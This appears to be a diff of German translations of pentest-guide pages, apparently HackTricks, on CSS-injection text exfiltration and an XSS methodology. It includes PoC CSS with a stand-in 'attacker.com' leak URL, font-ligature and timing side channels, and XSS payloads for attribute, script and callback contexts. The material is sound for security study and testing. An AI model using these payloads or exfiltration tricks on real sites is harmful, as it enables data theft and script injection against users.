Die beschriebene Technik besteht darin, Text aus einem Knoten zu extrahieren, indem font ligatures ausgenutzt und Änderungen der Breite überwacht werden. Der Prozess umfasst mehrere Schritte:
|
||||
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- SVG fonts werden mit Glyphen erstellt, die ein `horiz-adv-x` Attribut besitzen, welches eine große Breite für eine Glyphe setzt, die eine zwei-Zeichen-Sequenz repräsentiert.
|
||||
- Beispiel SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, wobei "XY" eine zwei-Zeichen-Sequenz bezeichnet.
|
||||
- Diese Fonts werden dann mit fontforge in das woff-Format konvertiert.
|
||||
- SVG fonts werden mit Glyphen erstellt, die ein `horiz-adv-x` Attribut besitzen, welches eine große Breite für eine Glyphe repräsentiert, die eine Zwei-Zeichen-Sequenz darstellt.
|
||||
- Beispiel-SVG-Glyphe: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, wobei "XY" eine Zwei-Zeichen-Sequenz darstellt.
|
||||
- Diese Fonts werden dann mit fontforge ins woff-Format konvertiert.
|
||||
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- CSS wird verwendet, um sicherzustellen, dass Text nicht umgebrochen wird (`white-space: nowrap`) und um das Scrollbar-Design anzupassen.
|
||||
- Das Erscheinen einer horizontalen scrollbar, die unterschiedlich gestylt ist, dient als Indikator (oracle), dass eine bestimmte ligature und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
|
||||
- Der verwendete CSS-Code:
|
||||
- CSS sorgt dafür, dass Text nicht umbricht (`white-space: nowrap`) und passt das Scrollbar-Design an.
|
||||
- Das Erscheinen einer horizontalen Scrollbar, die anders gestylt ist, dient als Indikator (Oracle), dass eine bestimmte ligature — und damit eine bestimmte Zeichenfolge — im Text vorhanden ist.
|
||||
- Das verwendete CSS:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -275,28 +275,28 @@ background: url(http://attacker.com/?leak);
|
||||
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **Step 1**: Fonts werden für Paare von Zeichen mit großer Breite erstellt.
|
||||
- **Step 2**: Ein scrollbar-basiertes Trick wird eingesetzt, um zu erkennen, wann die breit-glyphe (ligature für ein Zeichenpaar) gerendert wird, was auf das Vorhandensein der Zeichenfolge hinweist.
|
||||
- **Step 3**: Beim Erkennen einer ligature werden neue Glyphen erzeugt, die Dreizeichen-Sequenzen repräsentieren, indem das erkannte Paar verwendet und ein vorangestelltes oder nachgestelltes Zeichen hinzugefügt wird.
|
||||
- **Step 4**: Die Erkennung der Dreizeichen-ligature wird durchgeführt.
|
||||
- **Step 5**: Der Prozess wiederholt sich und offenbart schrittweise den gesamten Text.
|
||||
- **Schritt 1**: Fonts werden für Zeichenpaare erstellt, die eine große Breite haben.
|
||||
- **Schritt 2**: Ein Scrollbar-basiertes Trick wird eingesetzt, um zu erkennen, wann die große Breite-Glyphe (ligature für ein Zeichenpaar) gerendert wird — das zeigt das Vorhandensein der Zeichenfolge an.
|
||||
- **Schritt 3**: Sobald eine Ligatur erkannt wird, werden neue Glyphen für Dreizeichen-Sequenzen erzeugt, die das erkannte Paar enthalten und ein vorangestelltes oder nachgestelltes Zeichen hinzufügen.
|
||||
- **Schritt 4**: Die Dreizeichen-Ligatur wird erkannt.
|
||||
- **Schritt 5**: Der Prozess wiederholt sich und deckt so schrittweise den gesamten Text auf.
|
||||
|
||||
4. **Optimization**:
|
||||
- Die aktuelle Initialisierungsmethode mit `<meta refresh=...` ist nicht optimal.
|
||||
- Eine effizientere Methode könnte den CSS `@import` Trick verwenden, wodurch die Performance des Exploits verbessert wird.
|
||||
- Die derzeitige Initialisierungsmethode mit `<meta refresh=...` ist nicht optimal.
|
||||
- Ein effizienterer Ansatz könnte der CSS `@import` Trick sein, um die Performance des Exploits zu verbessern.
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**Referenz:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Dieser Trick wurde in diesem [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) veröffentlicht. Der in einem Textknoten verwendete charset kann mit den im Browser installierten default fonts leaked werden: es werden keine externen oder custom Fonts benötigt.
|
||||
Dieser Trick wurde in diesem [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) veröffentlicht. Das charset, das in einem Textknoten verwendet wird, kann **mithilfe der im Browser installierten Default-Fonts** geleakt werden: es werden keine externen oder custom Fonts benötigt.
|
||||
|
||||
Das Konzept basiert auf einer Animation, die die Breite eines `div` schrittweise vergrößert, wodurch ein Zeichen nach dem anderen vom 'suffix'-Teil des Textes in den 'prefix'-Teil übergeht. Dieser Prozess teilt den Text effektiv in zwei Abschnitte:
|
||||
Das Konzept basiert auf einer Animation, die die Breite eines `div` schrittweise vergrößert, so dass je ein Zeichen vom 'suffix'-Teil des Textes in den 'prefix'-Teil übergeht. Dieser Prozess teilt den Text effektiv in zwei Bereiche:
|
||||
|
||||
1. **Prefix**: die initiale Zeile.
|
||||
2. **Suffix**: die nachfolgende(n) Zeile(n).
|
||||
1. **Prefix**: Die Anfangszeile.
|
||||
2. **Suffix**: Die nachfolgenden Zeile(n).
|
||||
|
||||
Die Übergangsphasen der Zeichen würden wie folgt erscheinen:
|
||||
Die Übergangsphasen der Zeichen erscheinen folgendermaßen:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -309,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Während dieser Übergangsphase wird der unicode-range trick verwendet, um jedes neue Zeichen zu identifizieren, sobald es dem prefix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans umgeschaltet wird, die deutlich höher ist als die default font und dadurch eine vertikale scrollbar auslöst. Das Erscheinen dieser scrollbar offenbart indirekt das Vorhandensein eines neuen Zeichens im prefix.
|
||||
Während dieser Transition wird der **unicode-range trick** eingesetzt, um jedes neue Zeichen zu identifizieren, sobald es dem Prefix beitritt. Dies erfolgt, indem die Schrift auf Comic Sans umgeschaltet wird, die deutlich höher ist als die Default-Schrift und dadurch eine vertikale Scrollbar auslöst. Das Erscheinen dieser Scrollbar gibt indirekt das Vorhandensein eines neuen Zeichens im Prefix preis.
|
||||
|
||||
Obwohl diese Methode die Erkennung einzigartiger Zeichen beim Auftreten erlaubt, gibt sie nicht an, welches Zeichen wiederholt auftritt, sondern nur, dass eine Wiederholung stattgefunden hat.
|
||||
Obwohl diese Methode das Erkennen einzelner Zeichen beim Erscheinen erlaubt, spezifiziert sie nicht, welches Zeichen wiederholt auftritt — nur, dass eine Wiederholung stattgefunden hat.
|
||||
|
||||
> [!TIP]
|
||||
> Grundsätzlich wird der **unicode-range** verwendet, um ein **char** zu detektieren, aber da wir kein externes Font laden wollen, müssen wir einen anderen Weg finden.\
|
||||
> Wenn das **char** **gefunden** wird, bekommt es die vorinstallierte **Comic Sans**-Font, die das **char** **größer** macht und eine scroll bar auslöst, welche das gefundene **char** leaked.
|
||||
> Im Grunde wird die **unicode-range verwendet, um ein char zu erkennen**, aber da wir keine externe Schrift laden wollen, müssen wir einen anderen Weg finden.\
|
||||
> Wenn das **char** **gefunden** wird, bekommt es die vorinstallierte **Comic Sans**-Schrift, die das **char** **größer** macht und eine **scroll bar** auslöst, die das gefundene **char** **leakt**.
|
||||
|
||||
Siehe den aus dem PoC extrahierten Code:
|
||||
Überprüfen Sie den aus dem PoC extrahierten Code:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset mit einer Standard-Schriftart durch Verstecken von Elementen (erfordert keine externen Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset mit einer Standard-Schriftart durch Verstecken von Elementen (keine externen Assets erforderlich) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referenz:** Dies wird als [eine erfolglose Lösung in diesem writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
|
||||
**Referenz:** Dies wird als [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
|
||||
|
||||
Dieser Fall ist dem vorherigen sehr ähnlich. Hier besteht das Ziel darin, bestimmte **Zeichen größer als andere zu machen, um etwas zu verbergen**, etwa einen Button, damit er nicht vom Bot gedrückt wird, oder ein Bild, das nicht geladen wird. Dadurch können wir die Aktion (oder das Ausbleiben der Aktion) messen und feststellen, ob ein bestimmtes Zeichen im Text vorhanden ist.
|
||||
Dieser Fall ist dem vorherigen sehr ähnlich, allerdings ist hier das Ziel, bestimmte **chars größer als andere zu machen, um etwas zu verbergen** — wie z. B. einen Button, damit er vom Bot nicht gedrückt wird, oder ein Bild, das nicht geladen wird. Dadurch könnten wir die Aktion (oder das Ausbleiben der Aktion) messen und feststellen, ob ein bestimmter char im Text vorhanden ist.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referenz:** Dies wird als [eine erfolglose Lösung in diesem writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
|
||||
**Referenz:** Dies wird als [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
|
||||
|
||||
In diesem Fall könnten wir versuchen zu leaken, ob ein Zeichen im Text vorkommt, indem wir eine gefälschte Schriftart vom gleichen Origin laden:
|
||||
In diesem Fall könnten wir versuchen, ein leak zu verursachen, um herauszufinden, ob ein char im Text vorhanden ist, indem wir eine gefälschte Schriftart vom selben Origin laden:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Wenn es eine Übereinstimmung gibt, wird die **font von `/static/bootstrap.min.css?q=1` geladen**. Auch wenn sie nicht erfolgreich geladen wird, sollte der **Browser sie cachen**, und selbst wenn kein Cache vorhanden ist, gibt es den **304 not modified**-Mechanismus, sodass die **Antwort schneller** als andere Dinge sein sollte.
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
|
||||
|
||||
Wenn der Zeitunterschied der gecachten Antwort zur nicht-gecacheten nicht groß genug ist, ist das nicht nützlich. Zum Beispiel erwähnte der Autor: Nachdem ich getestet habe, stellte ich fest, dass das erste Problem ist, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem ist, dass der Bot das Flag `disk-cache-size=1` verwendet, was sehr durchdacht ist.
|
||||
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset durch zeitliche Messung des Ladens von hunderten lokalen "fonts" (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
|
||||
**Referenz:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
In diesem Fall kannst du **CSS angeben, das Hunderte falscher "fonts"** aus derselben Origin lädt, wenn eine Übereinstimmung auftritt. Auf diese Weise kannst du die **Zeit messen**, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, mit etwas wie:
|
||||
In diesem Fall kannst du **CSS verwenden, um hunderte gefälschte Fonts** aus derselben Origin zu laden, wenn eine Übereinstimmung auftritt. Auf diese Weise kannst du die **Zeit** messen, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, mit etwas wie:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -783,9 +783,9 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Also, wenn die font nicht übereinstimmt, wird die Antwortzeit beim Aufrufen des bot voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftart-Übereinstimmung vorliegt, werden mehrere requests gesendet, um die Schriftart abzurufen, wodurch das Netzwerk kontinuierlich aktiv bleibt. Infolgedessen dauert es länger, die Stop-Bedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftart-Übereinstimmung vorliegt.
|
||||
Wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Aufrufen des Bot voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftart übereinstimmt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, wodurch das Netzwerk kontinuierlich aktiv bleibt. Infolgedessen dauert es länger, die Stop-Bedingung zu erfüllen und eine Antwort zu erhalten. Daher kann die Antwortzeit als Indikator dafür verwendet werden, ob eine Schriftart übereinstimmt.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
|
@ -2,65 +2,65 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Methodology
|
||||
## Methodik
|
||||
|
||||
1. Prüfe, ob **irgendwelche Werte, die du kontrollierst** (_Parameter_, _Pfad_, _Headers_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** werden.
|
||||
2. **Finde den Kontext**, in dem sie reflektiert/benutzt werden.
|
||||
1. Prüfe, ob **ein von dir kontrollierter Wert** (_parameters_, _path_, _headers_?, _cookies_?) im HTML **reflektiert** wird oder vom **JS**-Code **verwendet** wird.
|
||||
2. Finde den **Kontext**, in dem es reflektiert/verwendet wird.
|
||||
3. Wenn **reflektiert**
|
||||
1. Prüfe **welche Zeichen du verwenden kannst** und bereite abhängig davon das Payload vor:
|
||||
1. Im **rohen HTML**:
|
||||
1. In **raw HTML**:
|
||||
1. Kannst du neue HTML-Tags erstellen?
|
||||
2. Kannst du Events oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen?
|
||||
3. Kannst du Schutzmechanismen umgehen?
|
||||
4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert? Du könntest eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen.
|
||||
5. Wenn du keine HTML-Tags erstellen kannst, die JS ausführen, könntest du eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) missbrauchen?
|
||||
2. Innerhalb eines **HTML-Tag**:
|
||||
1. Kannst du in den rohen HTML-Kontext ausbrechen?
|
||||
2. Kannst du neue Events/Attribute erzeugen, die JS ausführen?
|
||||
3. Unterstützt das Attribut, in dem du gefangen bist, die Ausführung von JS?
|
||||
4. Kannst du Schutzmechanismen umgehen?
|
||||
3. Kannst du Schutzmaßnahmen umgehen?
|
||||
4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert? Dann könntest du eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen.
|
||||
5. Wenn du keine HTML-Tags erstellen kannst, die JS ausführen, könntest du eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ausnutzen?
|
||||
2. Innerhalb eines **HTML-Tags**:
|
||||
1. Kannst du in den raw HTML-Kontext wechseln?
|
||||
2. Kannst du neue Events/Attribute erstellen, um JS-Code auszuführen?
|
||||
3. Unterstützt das Attribut, in dem dein Input steckt, die Ausführung von JS?
|
||||
4. Kannst du Schutzmaßnahmen umgehen?
|
||||
3. Innerhalb von **JavaScript-Code**:
|
||||
1. Kannst du das `<script>`-Tag ausbrechen?
|
||||
2. Kannst du die Zeichenkette escapen und anderen JS-Code ausführen?
|
||||
3. Befindet sich deine Eingabe in Template-Literals ``?
|
||||
4. Kannst du Schutzmechanismen umgehen?
|
||||
4. Javascript **function**, die **ausgeführt** wird
|
||||
1. Kannst du aus dem `<script>`-Tag ausbrechen?
|
||||
2. Kannst du die String-Begrenzung verlassen und anderen JS-Code ausführen?
|
||||
3. Befinden sich deine Eingaben in template literals ``?
|
||||
4. Kannst du Schutzmaßnahmen umgehen?
|
||||
4. Javascript **Funktion**, die **ausgeführt** wird
|
||||
1. Du kannst den Namen der Funktion angeben, die ausgeführt werden soll. z.B.: `?callback=alert(1)`
|
||||
4. Wenn **verwendet**:
|
||||
1. Du könntest ein **DOM XSS** ausnutzen; achte darauf, wie deine Eingabe kontrolliert wird und ob deine **kontrollierte Eingabe von einem Sink verwendet** wird.
|
||||
1. Du könntest ein **DOM XSS** ausnutzen; achte darauf, wie deine Eingabe kontrolliert wird und ob deine **kontrollierte Eingabe von einem sink verwendet wird.**
|
||||
|
||||
Beim Arbeiten an einem komplexen XSS kann es interessant sein, folgendes zu kennen:
|
||||
Wenn du an einem komplexen XSS arbeitest, könnte es interessant sein, Folgendes zu kennen:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Reflected values
|
||||
## Reflektierte Werte
|
||||
|
||||
Um eine XSS erfolgreich auszunutzen, musst du zuerst einen **von dir kontrollierten Wert finden, der reflektiert wird**.
|
||||
Um ein XSS erfolgreich auszunutzen, musst du zuerst einen **von dir kontrollierten Wert finden, der auf der Webseite reflektiert wird**.
|
||||
|
||||
- **Intermediately reflected**: Wenn du findest, dass der Wert eines Parameters oder sogar des Pfads in der Webseite reflektiert wird, könntest du ein **Reflected XSS** ausnutzen.
|
||||
- **Stored and reflected**: Wenn ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Aufruf einer Seite reflektiert wird, könntest du ein **Stored XSS** ausnutzen.
|
||||
- **Accessed via JS**: Wenn ein von dir kontrollierter Wert per JS zugegriffen wird, könntest du ein **DOM XSS** ausnutzen.
|
||||
- **Intermediately reflected**: Wenn du feststellst, dass der Wert eines parameters oder sogar der path auf der Webseite reflektiert wird, könntest du ein **Reflected XSS** ausnutzen.
|
||||
- **Stored and reflected**: Wenn du feststellst, dass ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Aufruf einer Seite reflektiert wird, könntest du ein **Stored XSS** ausnutzen.
|
||||
- **Accessed via JS**: Wenn du feststellst, dass ein von dir kontrollierter Wert per JS abgerufen wird, könntest du ein **DOM XSS** ausnutzen.
|
||||
|
||||
## Contexts
|
||||
## Kontexte
|
||||
|
||||
Wenn du versuchst, ein XSS auszunutzen, musst du zuerst wissen, **wo deine Eingabe reflektiert wird**. Abhängig vom Kontext kannst du auf unterschiedliche Weise beliebigen JS-Code ausführen.
|
||||
Beim Versuch, ein XSS auszunutzen, musst du zuerst wissen, **wo dein Input reflektiert wird**. Je nach Kontext wirst du verschiedene Wege haben, beliebigen JS-Code auszuführen.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
Wenn deine Eingabe **im rohen HTML** reflektiert wird, musst du ein **HTML-Tag** missbrauchen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die du verwenden könntest.\
|
||||
Behalte auch [Client Side Template Injection](../client-side-template-injection-csti.md) im Hinterkopf.
|
||||
Wenn dein Input im **raw HTML** der Seite reflektiert wird, musst du ein **HTML-Tag** missbrauchen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die du verwenden kannst.\
|
||||
Außerdem, denke an [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Inside HTML tags attribute
|
||||
### Innerhalb von HTML-Tag-Attributen
|
||||
|
||||
Wenn deine Eingabe innerhalb des Werts eines Tag-Attributs reflektiert wird, kannst du versuchen:
|
||||
Wenn dein Input innerhalb des Werts eines Tag-Attributs reflektiert wird, könntest du versuchen:
|
||||
|
||||
1. Aus dem Attribut und dem Tag **auszubrechen** (dann bist du im rohen HTML) und ein neues HTML-Tag zu erzeugen, das du missbrauchst: `"><img [...]`
|
||||
2. Wenn du **aus dem Attribut ausbrechen kannst, aber nicht aus dem Tag** (`>` ist encodiert oder gelöscht), kannst du je nach Tag ein **Event** erstellen, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn du **nicht aus dem Attribut ausbrechen kannst** (`"` wird encodiert oder gelöscht), dann hängt es davon ab, **in welchem Attribut** dein Wert reflektiert wird und ob du **den ganzen Wert oder nur einen Teil** kontrollierst. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du beliebigen Code ausführen, wenn darauf geklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn deine Eingabe in sogenannten "**unexploitable tags**" reflektiert wird, kannst du den **`accesskey`**-Trick versuchen, um die Vuln zu missbrauchen (du benötigst etwas Social Engineering dazu): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. Aus dem Attribut und dem Tag **auszubrechen** (dann bist du im raw HTML) und ein neues HTML-Tag zu erstellen, das du missbrauchst: `"><img [...]`
|
||||
2. Wenn du **aus dem Attribut, aber nicht aus dem Tag entkommen kannst** (`>` ist kodiert oder gelöscht), kannst du abhängig vom Tag ein **Event erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn du **nicht aus dem Attribut entkommen kannst** (`"` wird kodiert oder gelöscht), dann kannst du je nach **welchem Attribut** dein Wert reflektiert wird und **ob du den gesamten Wert oder nur einen Teil kontrollierst**, es ausnutzen. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du beliebigen Code ausführen lassen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn dein Input innerhalb von "**unexpoitable tags**" reflektiert wird, kannst du den **`accesskey`**-Trick versuchen, um die Verwundbarkeit auszunutzen (du wirst eine Form von Social Engineering benötigen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Seltsames Beispiel, wie Angular XSS ausführt, wenn du einen Klassennamen kontrollierst:
|
||||
```html
|
||||
@ -68,17 +68,17 @@ Seltsames Beispiel, wie Angular XSS ausführt, wenn du einen Klassennamen kontro
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### Innerhalb von JavaScript-Code
|
||||
### Im JavaScript-Code
|
||||
|
||||
In diesem Fall wird deine Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder in einem Attribut mit dem **`javascript:`**-Protokoll reflektiert:
|
||||
In diesem Fall wird deine Eingabe zwischen **`<script> [...] </script>`** Tags einer HTML-Seite, in einer `.js`-Datei oder in einem Attribut mit dem **`javascript:`**-Protokoll reflektiert:
|
||||
|
||||
- Wenn es zwischen **`<script> [...] </script>`**-Tags reflektiert wird, selbst wenn deine Eingabe in irgendeiner Art von Anführungszeichen steht, kannst du versuchen `</script>` zu injizieren und aus diesem Kontext auszubrechen. Das funktioniert, weil der **Browser zuerst die HTML-Tags** und dann den Inhalt parst; daher wird er nicht bemerken, dass dein injiziertes `</script>`-Tag innerhalb des HTML-Codes liegt.
|
||||
- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, musst du den **String verlassen**, deinen Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt:
|
||||
- Wenn die Reflektion zwischen **`<script> [...] </script>`** Tags erfolgt, selbst wenn deine Eingabe in irgendeiner Art von Quotes steht, kannst du versuchen `</script>` zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der **Browser zuerst die HTML-Tags parst** und dann den Inhalt; deshalb wird er nicht bemerken, dass dein injiziertes `</script>` Tag Teil des HTML-Codes ist.
|
||||
- Wenn die Reflektion **inside a JS string** erfolgt und der letzte Trick nicht funktioniert, musst du den String **exit**en, deinen Code **execute**n und den JS-Code **reconstruct**en (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Wenn es innerhalb von template literals reflektiert wird, kannst du **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode-Encoding** funktioniert, um **gültigen javascript-Code** zu schreiben:
|
||||
- Wenn die Reflektion in template literals erfolgt, kannst du **embed JS expressions** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** funktioniert, um **valid javascript code** zu schreiben:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -86,8 +86,8 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen erst nach ihrer Verwendung zu deklarieren, sodass man Szenarien ausnutzen kann, in denen ein XSS undeclared variables oder functions benutzt.**\
|
||||
**Check the following page for more info:**
|
||||
Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren**, sodass man Szenarien ausnutzen kann, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.\
|
||||
**Weitere Infos auf folgender Seite:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -96,19 +96,19 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Mehrere Webseiten haben Endpoints, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein gängiges Beispiel in der Praxis ist so etwas wie: `?callback=callbackFunc`.
|
||||
Viele Webseiten haben Endpoints, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein häufiges Beispiel in freier Wildbahn ist so etwas wie: `?callback=callbackFunc`.
|
||||
|
||||
Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Nutzer kommt, ausgeführt werden soll, ist **den Parameterwert zu verändern** (zum Beispiel zu 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
|
||||
Eine gute Methode herauszufinden, ob etwas, das direkt vom Benutzer kommt, ausgeführt werden soll, ist **den Parameterwert zu ändern** (zum Beispiel in 'Vulnerable') und in der Konsole nach Fehlern wie folgt zu suchen:
|
||||
|
||||
.png>)
|
||||
|
||||
Falls es verwundbar ist, könntest du ein **alert** auslösen, indem du einfach den Wert sendest: **`?callback=alert(1)`**. Sehr häufig validieren diese Endpoints jedoch den Inhalt, um nur Buchstaben, Zahlen, Punkte und Unterstriche zu erlauben (**`[\w\._]`**).
|
||||
Falls es verwundbar ist, könntest du in der Lage sein, einfach durch Senden des Wertes ein **alert** auszulösen: **`?callback=alert(1)`**. Allerdings ist es sehr üblich, dass diese Endpoints den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**).
|
||||
|
||||
Allerdings ist es selbst mit dieser Einschränkung noch möglich, bestimmte Aktionen auszuführen. Das liegt daran, dass du diese erlaubten Zeichen nutzen kannst, um **auf beliebige Elemente im DOM zuzugreifen**:
|
||||
Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf **beliebige Elemente im DOM zuzugreifen**:
|
||||
|
||||
.png>)
|
||||
|
||||
Some useful functions for this:
|
||||
Einige nützliche Funktionen dafür:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -116,11 +116,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
